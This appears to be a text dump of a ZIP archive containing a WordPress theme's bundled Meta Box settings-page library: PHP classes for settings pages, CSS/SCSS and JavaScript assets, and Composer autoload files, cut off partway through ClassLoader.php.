									<?php do_meta_boxes( null, 'normal', null ); ?>
									<?php do_meta_boxes( null, 'advanced', null ); ?>
								</div>
							</div>
							<br class="clear">
							<p class="submit">
								<?php submit_button( esc_html( $this->submit_button ), 'primary', 'submit', false ); ?>
								<?php do_action( 'mb_settings_page_submit_buttons' ); ?>
							</p>
						</div>
					</form>
				</div>
			</div>
		</div>
		<?php
	}

	private function output_tab_nav() {
		if ( ! $this->tabs ) {
			return;
		}
		echo '<h2 class="nav-tab-wrapper">';
		foreach ( $this->tabs as $id => $tab ) {
			if ( is_string( $tab ) ) {
				$tab = ['label' => $tab];
			}
			$tab = wp_parse_args( $tab, [
				'icon'  => '',
				'label' => '',
			] );

			if ( filter_var( $tab['icon'], FILTER_VALIDATE_URL ) ) { // If icon is an URL.
				$icon = '<img src="' . esc_url( $tab['icon'] ) . '">';
			} else { // If icon is icon font.
				// If icon is dashicons, auto add class 'dashicons' for users.
				if ( false !== strpos( $tab['icon'], 'dashicons' ) ) {
					$tab['icon'] .= ' dashicons';
				}
				// Remove duplicate classes.
				$tab['icon'] = array_filter( array_map( 'trim', explode( ' ', $tab['icon'] ) ) );
				$tab['icon'] = implode( ' ', array_unique( $tab['icon'] ) );

				$icon = $tab['icon'] ? '<i class="' . esc_attr( $tab['icon'] ) . '"></i>' : '';
			}

			printf( '<a href="#tab-%s" class="nav-tab">%s%s</a>', esc_attr( $id ), $icon, esc_html( $tab['label'] ) );
		}
		echo '</h2>';
	}

	public function enqueue() {
		wp_enqueue_style( 'mb-settings-page', MBSP_URL . 'assets/settings.css', '', '1.3' );

		// For meta boxes.
		wp_enqueue_script( 'common' );
		wp_enqueue_script( 'wp-lists' );
		wp_enqueue_script( 'postbox' );

		// Enqueue settings page script and style.
		wp_enqueue_script( 'mb-settings-page', MBSP_URL . 'assets/settings.js', array( 'jquery' ), '1.1.2', true );
		wp_localize_script( 'mb-settings-page', 'MBSettingsPage', array(
			'pageHook' => $this->page_hook,
			'tabs'     => array_keys( $this->tabs ),
		) );
	}

	public function load() {
		$this->args['is_imported'] = $this->import();

		/**
		 * Custom hook runs when current page loads. Use this to add meta boxes and filters.
		 *
		 * @param array $page_args The page arguments
		 */
		do_action( 'mb_settings_page_load', $this->args );
	}

	public function add_admin_notice_hook() {
		if ( ! $this->parent || 'options-general.php' !== $this->parent ) {
			add_action( 'admin_notices', 'settings_errors' );
		}
	}

	public function add_help_tabs() {
		if ( ! $this->help_tabs || ! is_array( $this->help_tabs ) ) {
			return;
		}
		$screen = get_current_screen();
		foreach ( $this->help_tabs as $k => $help_tab ) {
			// Auto generate help tab ID if missed.
			if ( empty( $help_tab['id'] ) ) {
				$help_tab['id'] = "{$this->id}-help-tab-$k";
			}
			$screen->add_help_tab( $help_tab );
		}
	}

	protected function import() {
		$get_func    = 'network' === $this->type ? 'get_site_option' : 'get_option';
		$update_func = 'network' === $this->type ? 'update_site_option' : 'update_option';

		$option_name = $this->args['option_name'];

		$new = rwmb_request()->post( "{$option_name}_backup" );
		$new = wp_unslash( $new );
		$old = $get_func( $option_name );
		$old = json_encode( $old );
		if ( ! $new || $old === $new ) {
			return false;
		}
		$option = json_decode( $new, true );
		if ( json_last_error() === JSON_ERROR_NONE ) {
			$update_func( $option_name, $option );
		}
		return true;
	}

	public function __get( $name ) {
		return isset( $this->args[ $name ] ) ? $this->args[ $name ] : null;
	}
}
PK     N\YX  X  1  inc/dashboard/lib/mb-settings-page/src/Loader.phpnu [        <?php
namespace MBSP;

class Loader {
	public function __construct() {
		$this->register_settings_pages();

		add_filter( 'rwmb_meta_box_class_name', array( $this, 'meta_box_class_name' ), 10, 2 );

		add_filter( 'rwmb_meta_type', array( $this, 'filter_meta_type' ), 10, 3 );
	}

	private function register_settings_pages() {
		$settings_pages = apply_filters( 'mb_settings_pages', array() );

		if ( empty( $settings_pages ) || ! is_array( $settings_pages ) ) {
			return;
		}

		array_walk( $settings_pages, [Factory::class, 'make'] );
	}

	/**
	 * Filter meta box class name.
	 *
	 * @param  string $class_name Meta box class name.
	 * @param  array  $args       Meta box settings.
	 * @return string
	 */
	public function meta_box_class_name( $class_name, $args ) {
		if ( isset( $args['panel'] ) ) {
			return __NAMESPACE__ . '\Customizer\NormalSection';
		}

		if ( empty( $args['settings_pages'] ) ) {
			return $class_name;
		}
		if ( Factory::get( $args['settings_pages'], 'network' ) ) {
			return __NAMESPACE__ . '\Network\MetaBox';
		}

		return __NAMESPACE__ . '\MetaBox';
	}

	/**
	 * Filter meta type from object type and object id.
	 *
	 * @param string     $type        Meta type get from object type and object id.
	 *                                Assert 'setting' if object id is a string.
	 * @param string     $object_type Object type.
	 * @param string|int $object_id   Object id. Should be the option name.
	 *
	 * @return string
	 */
	public function filter_meta_type( $type, $object_type, $object_id ) {
		return in_array( $object_type, ['setting', 'network_setting'] ) ? $object_id : $type;
	}
}
PK     N\΁i    2  inc/dashboard/lib/mb-settings-page/src/Factory.phpnu [        <?php
namespace MBSP;

class Factory {
	private static $data = [
		'normal'     => [],
		'network'    => [],
		'customizer' => [],
	];

	public static function make( $args ) {
		$args = self::normalize( $args );

		if ( $args['network'] ) {
			self::$data['network'][ $args['id'] ] = new Network\SettingsPage( $args );
			return;
		}

		if ( $args['customizer'] ) {
			self::$data['customizer'][ $args['id'] ] = new Customizer\Panel( $args );
		}

		if ( ! $args['customizer_only'] ) {
			self::$data['normal'][ $args['id'] ] = new SettingsPage( $args );
		}
	}

	private static function normalize( $args ) {
		$args = wp_parse_args( $args, array(
			'id'              => '', // Page ID. Required. Will be used as slug in URL and option name (if missed).
			'option_name'     => '', // Option name. Optional. Takes 'id' if missed.
			'menu_title'      => '', // Menu title. Optional. Takes 'page_title' if missed.
			'page_title'      => '', // Page title. Optional. Takes 'menu_title' if missed.
			'capability'      => 'edit_theme_options', // Required capability to visit.
			'icon_url'        => '', // Icon URL. @see add_menu_page().
			'position'        => null, // Menu position. @see add_menu_page().
			'parent'          => '', // ID of parent page. Optional.
			'submenu_title'   => '', // Submenu title. Optional.
			'help_tabs'       => array(),
			'style'           => 'boxes',
			'columns'         => 2,
			'tabs'            => array(),
			'tab_style'       => 'default',
			'class'           => '',
			'submit_button'   => __( 'Save Settings', 'mb-settings-page' ),
			'message'         => __( 'Settings saved.', 'mb-settings-page' ),
			'network'         => false,
			'customizer'      => false,
			'customizer_only' => false,
		) );

		// Setup optional parameters.
		if ( ! $args['option_name'] ) {
			$args['option_name'] = $args['id'];
		}
		if ( ! $args['menu_title'] ) {
			$args['menu_title'] = $args['page_title'];
		}
		if ( ! $args['page_title'] ) {
			$args['page_title'] = $args['menu_title'];
		}

		return $args;
	}

	public static function get( $ids, $type = 'normal' ) {
		return array_intersect_key( self::$data[ $type ], array_flip( (array) $ids ) );
	}
}PK     N\.    6  inc/dashboard/lib/mb-settings-page/assets/settings.cssnu [        .nav-tab:focus,
.nav-tab:active {
  box-shadow: none;
}

.nav-tab i,
.nav-tab img {
  margin-right: 5px;
  margin-top: 4px;
}
.nav-tab i {
  width: 16px;
  height: 16px;
  font-size: 16px;
}
.nav-tab img {
  width: 12px;
  height: 12px;
  display: inline-block;
}

.rwmb-settings-no-boxes .postbox {
  border: 0;
  box-shadow: none;
  background: transparent;
}
.rwmb-settings-no-boxes .postbox .handlediv,
.rwmb-settings-no-boxes .postbox .hndle {
  display: none;
}
.rwmb-settings-no-boxes .postbox .inside {
  font-size: 14px;
}
.rwmb-settings-no-boxes .rwmb-field {
  padding: 20px 0;
  margin-bottom: 0;
}
.rwmb-settings-no-boxes .rwmb-clone {
  background-color: transparent;
}
.rwmb-settings-no-boxes .rwmb-tabs-left .rwmb-tab-panel {
  background-color: #fff;
}
.rwmb-settings-no-boxes .rwmb-group-wrapper > .rwmb-label + .rwmb-input .rwmb-field:first-of-type {
  padding-top: 0;
}
.rwmb-settings-no-boxes .rwmb-group-clone > .rwmb-field:first-of-type {
  padding-top: 0;
}
.rwmb-settings-no-boxes .rwmb-group-collapsible.rwmb-group-non-cloneable,
.rwmb-settings-no-boxes .rwmb-group-collapsible > .rwmb-input > .rwmb-group-clone {
  border-color: #ddd;
  padding: 12px;
}
.rwmb-settings-no-boxes .rwmb-group-collapsed.rwmb-group-non-cloneable,
.rwmb-settings-no-boxes .rwmb-group-collapsible > .rwmb-input > .rwmb-group-collapsed {
  padding: 0;
}
.rwmb-settings-no-boxes .rwmb-group-wrapper.rwmb-group-collapsible .rwmb-group-clone > .rwmb-field:first-of-type {
  padding-top: 20px;
}
.rwmb-settings-no-boxes .rwmb-row > .rwmb-field {
  padding-top: 0;
}

.rwmb-settings-tabs-left .rwmb-settings-wrap {
  display: flex;
  margin-top: 15px;
}
.rwmb-settings-tabs-left h2.nav-tab-wrapper {
  padding: 0;
  background: #fff;
  border: 1px solid #ccd0d4;
  min-width: 220px;
}
.rwmb-settings-tabs-left .nav-tab {
  display: block;
  padding: 8px 12px;
  float: none;
  margin: 0;
  color: #0073aa;
  font-size: 13px;
  font-weight: normal;
  background: #fff;
  border: none;
  border-bottom: 1px solid #ccd0d4;
  transition: none;
}
.rwmb-settings-tabs-left .nav-tab:hover {
  background: #f6f6f6;
}
.rwmb-settings-tabs-left .nav-tab-active {
  background: #f6f6f6;
  color: inherit;
  border-left: 4px solid #0073aa;
  padding-left: 8px;
}
.rwmb-settings-tabs-left .rwmb-settings-form-wrap {
  flex: 1;
  padding: 0 20px;
}
.rwmb-settings-tabs-left #poststuff {
  padding-top: 0;
}
.rwmb-settings-tabs-left .submit {
  margin-bottom: 0;
  padding-bottom: 0;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes .rwmb-settings-wrap {
  border: 1px solid #ddd;
  background: #fff;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes h2.nav-tab-wrapper {
  border-color: #ddd;
  border-width: 0 1px 0 0;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes .nav-tab {
  border-bottom-color: #ddd;
  background-color: #f6f6f6;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes .nav-tab-active {
  background-color: #fff;
  margin-right: -1px;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes .rwmb-settings-form-wrap {
  padding-top: 20px;
  padding-bottom: 20px;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes #poststuff .inside {
  margin: 0;
  padding: 0;
}
.rwmb-settings-tabs-left.rwmb-settings-no-boxes .rwmb-meta-box > .rwmb-field:first-of-type {
  padding-top: 0;
}
PK     N\Lh  h  5  inc/dashboard/lib/mb-settings-page/assets/settings.jsnu [        ( function ( document, $, i18n ) {
	'use strict';

	var $tabs, $boxes;

	function toggleMetaBox() {
		$( '.if-js-closed' ).removeClass( 'if-js-closed' ).addClass( 'closed' );
		postboxes.add_postbox_toggles( i18n.pageHook );
	}

	function switchTab() {
		$boxes.each( function () {
			var $this = $( this );
			this.dataset.tab = '#tab-' + $this.find( '.rwmb-settings-tab' ).data( 'tab' );
		} );
		$( '.nav-tab-wrapper' ).on( 'click', 'a', ( e ) => showTab( e.target.getAttribute( 'href' ) ) );
	}

	function detectActiveTab() {
		$tabs.first().trigger( 'click' );
		showTab( location.hash );
	}

	function showValidateErrorFields() {
		var inputSelectors = 'input[class*="rwmb-error"], textarea[class*="rwmb-error"], select[class*="rwmb-error"], button[class*="rwmb-error"]';
		$( document ).on( 'after_validate', 'form', ( e ) => showTab( $( e.target ).find( inputSelectors ).closest( '.postbox' ).data( 'tab' ) ) );
	}

	function showTab( tab ) {
		if ( ! tab ) {
			return;
		}
		$tabs.removeClass( 'nav-tab-active' ).filter( '[href="' + tab + '"]' ).addClass( 'nav-tab-active' );
		$boxes.hide().filter( ( index, element ) => element.dataset.tab === tab ).show();
	}

	$( function() {
		$boxes = $( '.wrap .postbox' );
		$tabs = $( '.nav-tab' );

		toggleMetaBox();
		switchTab();
		detectActiveTab();
		showValidateErrorFields();
	} );
} )( document, jQuery, MBSettingsPage );
PK     N\a    7  inc/dashboard/lib/mb-settings-page/assets/customizer.jsnu [        ( function( $, api, rwmb ) {
	// Add nonce to list of inputs for validation.
	var inputSelectors = 'input[name*="nonce"], ' + rwmb.inputSelectors;

	$.extend( FormSerializer.patterns, {
		validate: /^[a-z][a-z0-9_-]*(?:\[(?:\d*|[a-z0-9_-]+)\])*$/i,
		key:      /[a-z0-9_-]+|(?=\[\])/gi,
		named:    /^[a-z0-9_-]+$/i
	} );

	// Transform { "mbb_0": "first", "mbb_1": "second" } to ["first", "second"] recursively.
	const transformObject = obj => {
		if ( typeof obj !== 'object' ) {
			return obj;
		}
		if ( Array.isArray( obj ) ) {
			return obj.map( transformObject );
		}

		// Make sure all keys are 'mbb_*'.
		const keys = Object.keys( obj );
		const match = keys.reduce( ( check, key ) => check && /^mbb_\d+$/.test( key ), true );
		if ( match ) {
			return Object.values( obj ).map( transformObject );
		}

		keys.forEach( key => obj[key] = transformObject( obj[key] ) );

		return obj;
	}

	api.controlConstructor[ 'meta_box' ] = api.Control.extend( {
		ready: function() {
			var setting = this.setting,
				$container = $( this.container );

			function setValue() {
				var data = $container.find( inputSelectors ).mbSerializeObject();
				data = transformObject( data );
				setting.set( JSON.stringify( data ) );
			}

			$container.on( 'change keyup input mb_change', inputSelectors, _.debounce( setValue, 200 ) );
			setValue();

			rwmb.$document.trigger( 'mb_init_editors' );
		}
	} );
} )( jQuery, wp.customize, rwmb );PK     N\ap    D  inc/dashboard/lib/mb-settings-page/assets/jquery.serialize-object.jsnu [        /**
 * Modified version of jQuery serializeObject.
 * Fix conflict with jQuery serialize object plugin bundled with WordPress.
 * Change the plugin public API.
 *
 * @copyright 2014, macek <paulmacek@gmail.com>
 * @link https://github.com/macek/jquery-serialize-object
 * @license BSD
 * @version 2.5.0
 */
(function(root, factory) {

  // AMD
  if (typeof define === "function" && define.amd) {
    define(["exports", "jquery"], function(exports, $) {
      return factory(exports, $);
    });
  }

  // CommonJS
  else if (typeof exports !== "undefined") {
    var $ = require("jquery");
    factory(exports, $);
  }

  // Browser
  else {
    factory(root, (root.jQuery || root.Zepto || root.ender || root.$));
  }

}(this, function(exports, $) {

  var patterns = {
    validate: /^[a-z_][a-z0-9_]*(?:\[(?:\d*|[a-z0-9_]+)\])*$/i,
    key:      /[a-z0-9_]+|(?=\[\])/gi,
    push:     /^$/,
    fixed:    /^\d+$/,
    named:    /^[a-z0-9_]+$/i
  };

  function FormSerializer(helper, $form) {

    // private variables
    var data     = {},
        pushes   = {};

    // private API
    function build(base, key, value) {
      base[key] = value;
      return base;
    }

    function makeObject(root, value) {

      var keys = root.match(patterns.key), k;

      // nest, nest, ..., nest
      while ((k = keys.pop()) !== undefined) {
        // foo[]
        if (patterns.push.test(k)) {
          var idx = incrementPush(root.replace(/\[\]$/, ''));
          value = build([], idx, value);
        }

        // foo[n]
        else if (patterns.fixed.test(k)) {
          value = build({}, 'mbb_' + k, value); // Hack: add 'mbb_' prefix to preserve the order of properties.
        }

        // foo; foo[bar]
        else if (patterns.named.test(k)) {
          value = build({}, k, value);
        }
      }

      return value;
    }

    function incrementPush(key) {
      if (pushes[key] === undefined) {
        pushes[key] = 0;
      }
      return pushes[key]++;
    }

    function encode(pair) {
      switch ($('[name="' + pair.name + '"]', $form).attr("type")) {
        case "checkbox":
          return pair.value === "on" ? true : pair.value;
        default:
          return pair.value;
      }
    }

    function addPair(pair) {
      if (!patterns.validate.test(pair.name)) return this;
      var obj = makeObject(pair.name, encode(pair));
      data = helper.extend(true, data, obj);
      return this;
    }

    function addPairs(pairs) {
      if (!helper.isArray(pairs)) {
        throw new Error("formSerializer.addPairs expects an Array");
      }
      for (var i=0, len=pairs.length; i<len; i++) {
        this.addPair(pairs[i]);
      }
      return this;
    }

    function serialize() {
      return data;
    }

    function serializeJSON() {
      return JSON.stringify(serialize());
    }

    // public API
    this.addPair = addPair;
    this.addPairs = addPairs;
    this.serialize = serialize;
    this.serializeJSON = serializeJSON;
  }

  FormSerializer.patterns = patterns;

  FormSerializer.serializeObject = function serializeObject() {
    return new FormSerializer($, this).
      addPairs(this.serializeArray()).
      serialize();
  };

  FormSerializer.serializeJSON = function serializeJSON() {
    return new FormSerializer($, this).
      addPairs(this.serializeArray()).
      serializeJSON();
  };

  if (typeof $.fn !== "undefined") {
    $.fn.mbSerializeObject = FormSerializer.serializeObject;
    $.fn.mbSerializeJSON   = FormSerializer.serializeJSON;
  }

  exports.FormSerializer = FormSerializer;

  return FormSerializer;
}));
PK     N\>o
  
  7  inc/dashboard/lib/mb-settings-page/assets/settings.scssnu [        .nav-tab:focus,
.nav-tab:active {
	box-shadow: none;
}

// Tab icon
.nav-tab {
	i,
	img {
		margin-right: 5px;
		margin-top: 4px;
	}
	i {
		width: 16px;
		height: 16px;
		font-size: 16px;
	}
	img {
		width: 12px;
		height: 12px;
		display: inline-block;
	}
}


// No boxes
.rwmb-settings-no-boxes {
	.postbox {
		border: 0;
		box-shadow: none;
		background: transparent;

		.handlediv,
		.hndle {
			display: none;
		}

		.inside {
			font-size: 14px;
		}
	}
	.rwmb-field {
		padding: 20px 0;
		margin-bottom: 0;
	}
	.rwmb-clone {
		background-color: transparent;
	}

	// Meta Box Tabs
	.rwmb-tabs-left .rwmb-tab-panel {
		background-color: #fff;
	}


	// Groups

	// Align the group label and inputs
	.rwmb-group-wrapper > .rwmb-label + .rwmb-input .rwmb-field:first-of-type {
		padding-top: 0;
	}

	// Align the clone sorting icon
	.rwmb-group-clone > .rwmb-field:first-of-type {
		padding-top: 0;
	}

	// Highlight the collapsible title and border
	.rwmb-group-collapsible.rwmb-group-non-cloneable,
	.rwmb-group-collapsible > .rwmb-input > .rwmb-group-clone {
		border-color: #ddd;
		padding: 12px;
	}

	.rwmb-group-collapsed.rwmb-group-non-cloneable,
	.rwmb-group-collapsible > .rwmb-input > .rwmb-group-collapsed {
		padding: 0;
	}

	// Keep consistent space for first child field in the collapsible group
	.rwmb-group-wrapper.rwmb-group-collapsible .rwmb-group-clone > .rwmb-field:first-of-type {
		padding-top: 20px;
	}
	.rwmb-row > .rwmb-field {
		padding-top: 0;
	}
}

// Left tabs
.rwmb-settings-tabs-left {
	.rwmb-settings-wrap {
		display: flex;
		margin-top: 15px;
	}
	h2.nav-tab-wrapper {
		padding: 0;
		background: #fff;
		border: 1px solid #ccd0d4;
		min-width: 220px;
	}
	.nav-tab {
		display: block;
		padding: 8px 12px;
		float: none;
		margin: 0;
		color: #0073aa;
		font-size: 13px;
		font-weight: normal;
		background: #fff;
		border: none;
		border-bottom: 1px solid #ccd0d4;
		transition: none;

		&:hover {
			background: #f6f6f6;
		}
	}
	.nav-tab-active {
		background: #f6f6f6;
		color: inherit;
		border-left: 4px solid #0073aa;
		padding-left: 8px;
	}
	.rwmb-settings-form-wrap {
		flex: 1;
		padding: 0 20px;
	}
	#poststuff {
		padding-top: 0;
	}
	.submit {
		margin-bottom: 0;
		padding-bottom: 0;
	}
	&.rwmb-settings-no-boxes {
		.rwmb-settings-wrap {
			border: 1px solid #ddd;
			background: #fff;
		}
		h2.nav-tab-wrapper {
			border-color: #ddd;
			border-width: 0 1px 0 0;
		}
		.nav-tab {
			border-bottom-color: #ddd;
			background-color: #f6f6f6;
		}
		.nav-tab-active {
			background-color: #fff;
			margin-right: -1px;
		}
		.rwmb-settings-form-wrap {
			padding-top: 20px;
			padding-bottom: 20px;
		}
		#poststuff .inside {
			margin: 0;
			padding: 0;
		}
		.rwmb-meta-box > .rwmb-field:first-of-type {
			padding-top: 0;
		}
	}
}
PK     N\G    :  inc/dashboard/lib/mb-settings-page/assets/settings.css.mapnu [        {"version":3,"sourceRoot":"","sources":["settings.scss"],"names":[],"mappings":"AAAA;AAAA;EAEC;;;AAKA;AAAA;EAEC;EACA;;AAED;EACC;EACA;EACA;;AAED;EACC;EACA;EACA;;;AAOD;EACC;EACA;EACA;;AAEA;AAAA;EAEC;;AAGD;EACC;;AAGF;EACC;EACA;;AAED;EACC;;AAID;EACC;;AAOD;EACC;;AAID;EACC;;AAID;AAAA;EAEC;EACA;;AAGD;AAAA;EAEC;;AAID;EACC;;AAED;EACC;;;AAMD;EACC;EACA;;AAED;EACC;EACA;EACA;EACA;;AAED;EACC;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACC;;AAGF;EACC;EACA;EACA;EACA;;AAED;EACC;EACA;;AAED;EACC;;AAED;EACC;EACA;;AAGA;EACC;EACA;;AAED;EACC;EACA;;AAED;EACC;EACA;;AAED;EACC;EACA;;AAED;EACC;EACA;;AAED;EACC;EACA;;AAED;EACC","file":"settings.css"}PK     N\A    8  inc/dashboard/lib/mb-settings-page/assets/customizer.cssnu [        /* Make fields vertical layout */
.rwmb-label,
.customize-control .rwmb-input {
	width: 100%;
}
.rwmb-label {
	margin-bottom: 4px;
}

/* Resize remove clone button */
.rwmb-clone {
	background: none;
}
.rwmb-button.remove-clone {
	right: -18px;
}
.rwmb-button.remove-clone .dashicons {
	font-size: 14px;
	width: 14px;
	height: 14px;
}

/* Show color picker inline because of overflow: hidden on a parent element */
.rwmb-color-wrapper .wp-picker-holder {
	position: static;
}
/* Always set uploaded images 1/2 width, regardless their size */
.rwmb-image-item.rwmb-image-item {
	width: 50%;
}
/* Fix CSS overflow layout with file/image upload field */
.rwmb-upload-inside .moxie-shim {
	display: none;
}
/* Set background dropdowns 100% width to show full placeholder */
.rwmb-background-wrapper .rwmb-select {
	width: 100%;
	max-width: none;
}
.rwmb-file_input.rwmb-file_input.rwmb-file_input {
	margin-bottom: 4px;
}PK     N\      6  inc/dashboard/lib/mb-settings-page/vendor/autoload.phpnu [        <?php

// autoload.php @generated by Composer

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit6d8949d71f8642fa71b1f18c16efe1b8::getLoader();
PK     N\t!ו      J  inc/dashboard/lib/mb-settings-page/vendor/composer/autoload_namespaces.phpnu [        <?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
);
PK     N\^?    F  inc/dashboard/lib/mb-settings-page/vendor/composer/autoload_static.phpnu [        <?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit6d8949d71f8642fa71b1f18c16efe1b8
{
    public static $prefixLengthsPsr4 = array (
        'M' => 
        array (
            'MBSP\\' => 5,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'MBSP\\' => 
        array (
            0 => __DIR__ . '/../..' . '/src',
        ),
    );

    public static $classMap = array (
        'RWMB_Backup_Field' => __DIR__ . '/../..' . '/src/BackupField.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 = ComposerStaticInit6d8949d71f8642fa71b1f18c16efe1b8::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 = ComposerStaticInit6d8949d71f8642fa71b1f18c16efe1b8::$prefixDirsPsr4;
            $loader->classMap = ComposerStaticInit6d8949d71f8642fa71b1f18c16efe1b8::$classMap;

        }, null, ClassLoader::class);
    }
}
PK     N\ .  .  :  inc/dashboard/lib/mb-settings-page/vendor/composer/LICENSEnu [        
Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

PK     N\Yծ    D  inc/dashboard/lib/mb-settings-page/vendor/composer/autoload_real.phpnu [        <?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit6d8949d71f8642fa71b1f18c16efe1b8
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

        spl_autoload_register(array('ComposerAutoloaderInit6d8949d71f8642fa71b1f18c16efe1b8', 'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader();
        spl_autoload_unregister(array('ComposerAutoloaderInit6d8949d71f8642fa71b1f18c16efe1b8', 'loadClassLoader'));

        $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
        if ($useStaticLoader) {
            require_once __DIR__ . '/autoload_static.php';

            call_user_func(\Composer\Autoload\ComposerStaticInit6d8949d71f8642fa71b1f18c16efe1b8::getInitializer($loader));
        } else {
            $map = require __DIR__ . '/autoload_namespaces.php';
            foreach ($map as $namespace => $path) {
                $loader->set($namespace, $path);
            }

            $map = require __DIR__ . '/autoload_psr4.php';
            foreach ($map as $namespace => $path) {
                $loader->setPsr4($namespace, $path);
            }

            $classMap = require __DIR__ . '/autoload_classmap.php';
            if ($classMap) {
                $loader->addClassMap($classMap);
            }
        }

        $loader->register(true);

        return $loader;
    }
}
PK     N\z4  4  B  inc/dashboard/lib/mb-settings-page/vendor/composer/ClassLoader.phpnu [        <?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    http://www.php-fig.org/psr/psr-0/
 * @see    http://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    // PSR-4
    private $prefixLengthsPsr4 = array();
    private $prefixDirsPsr4 = array();
    private $fallbackDirsPsr4 = array();

    // PSR-0
    private $prefixesPsr0 = array();
    private $fallbackDirsPsr0 = array();

    private $useIncludePath = false;
    private $classMap = array();
    private $classMapAuthoritative = false;
    private $missingClasses = array();
    private $apcuPrefix;

    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge', $this->prefixesPsr0);
        }

        return array();
    }

    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param array $classMap Class to filename map
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap, $classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string       $prefix  The prefix
     * @param array|string $paths   The PSR-0 root directories
     * @param bool         $prepend Whether to prepend the directories
     */
    public function add($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    (array) $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = (array) $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                (array) $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this namespace.
     *
     * @param string       $prefix  The prefix/namespace, with trailing '\\'
     * @param array|string $paths   The PSR-4 base directories
     * @param bool         $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    (array) $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
